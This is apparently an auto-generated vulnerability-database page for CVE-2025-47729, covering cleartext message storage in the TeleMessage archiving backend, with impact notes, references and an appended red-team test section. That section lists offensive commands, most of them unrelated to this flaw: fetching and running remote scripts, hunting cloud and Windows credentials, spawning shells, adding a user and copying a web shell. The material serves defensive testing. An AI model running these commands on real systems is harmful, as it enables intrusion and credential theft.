CVE-2025-47729
Overview
The vulnerability is an information exposure flaw caused by the TeleMessage archiving backend storing message data in cleartext form. This occurs within the backend component responsible for archiving messages from the TM SGNL (Archive Signal) application. The root cause is the backend's failure to apply end-to-end encryption to archived messages, contrary to the documented encryption claims.
Vulnerability Description
The TeleMessage archiving backend through 2025-05-05 holds cleartext copies of messages from TM SGNL (aka Archive Signal) app users, which is different functionality than described in the TeleMessage "End-to-End encryption from the mobile phone through to the corporate archive" documentation, as exploited in the wild in May 2025.
Impact
An attacker with high privileges and local access to the TeleMessage archiving backend can retrieve cleartext copies of archived messages, compromising user confidentiality. This requires authenticated access (PR:H) and local vector (AV:L) but no user interaction (UI:N). The exposure undermines the expected end-to-end encryption guarantees, potentially leading to sensitive data leakage and privacy violations within corporate environments.
Solution
TeleMessage has acknowledged the issue and is investigating remediation as of May 5, 2025 (https://www.theregister.com/2025/05/05/telemessage_investigating/). Users should monitor vendor communications for patches or updates addressing the archiving backend encryption implementation. Until a patch is released, restricting backend access and auditing message storage practices is advised. No specific advisory ID or patch version is currently published.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the TeleMessage archiving backend primarily stems from the improper handling of user messages, which are stored in cleartext rather than being encrypted as promised in the product's documentation. This discrepancy between the advertised end-to-end encryption and the actual implementation creates a significant security gap. Users of the TM SGNL app, who rely on the assurance that their communications are secure, are inadvertently exposing sensitive information. The backend's failure to encrypt messages not only undermines user trust but also violates the fundamental principles of data protection and privacy.
Exploitation of this vulnerability can occur through various attack vectors. An attacker with access to the backend system could easily retrieve cleartext messages, leading to unauthorized disclosure of sensitive information. Additionally, if an adversary were to compromise the network or gain access to the storage system, they could harvest a wealth of personal and corporate data, including confidential communications. This scenario is particularly concerning for organizations that use the TeleMessage service for business communications, as the exposure of proprietary information could lead to competitive disadvantage or regulatory scrutiny.
The real-world impact of this vulnerability is profound, particularly for businesses that rely on secure communication channels. The cleartext storage of messages poses significant business risks, including potential data breaches, loss of customer trust, and legal ramifications stemming from non-compliance with data protection regulations. Organizations could face substantial financial penalties if sensitive customer data is exposed, especially in jurisdictions with stringent privacy laws. Furthermore, the reputational damage resulting from such incidents can have long-lasting effects on customer loyalty and brand integrity.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regular security audits and vulnerability assessments should be conducted to identify any weaknesses in the TeleMessage archiving backend. Additionally, organizations should enforce strict access controls and monitoring to detect any unauthorized access attempts. It is crucial to ensure that all data stored by the archiving system is encrypted both at rest and in transit, aligning with the original promises made by the vendor. Furthermore, organizations should educate their employees about the risks associated with using applications that do not adhere to security best practices, fostering a culture of security awareness.
In conclusion, the vulnerability within the TeleMessage archiving backend highlights the critical importance of adhering to security protocols and maintaining transparency with users regarding data handling practices. The implications of this vulnerability extend beyond technical flaws, affecting organizational integrity and user trust. By proactively addressing these risks through robust detection and mitigation strategies, organizations can safeguard their communications and protect sensitive information from potential exploitation.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Telemessage | Text Message Archiver | All |
cpe:2.3:a:telemessage:text_message_archiver:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-133 | Try All Common Switches |
30%
|
— | Medium | |
| CAPEC-190 | Reverse Engineer an Executable to Expose Assumed Hidden Functionality |
30%
|
— | Low |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-47729 |
| news.ycombinator.com |
GitHub CVE
|
https://news.ycombinator.com/item?id=43909220 |
| arstechnica.com |
GitHub CVE
|
https://arstechnica.com/security/2025/05/signal-clone-used-by-trump-official-stops-operations-after-report-it-was-hacked/ |
| theregister.com |
GitHub CVE
|
https://www.theregister.com/2025/05/05/telemessage_investigating/ |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-47729 |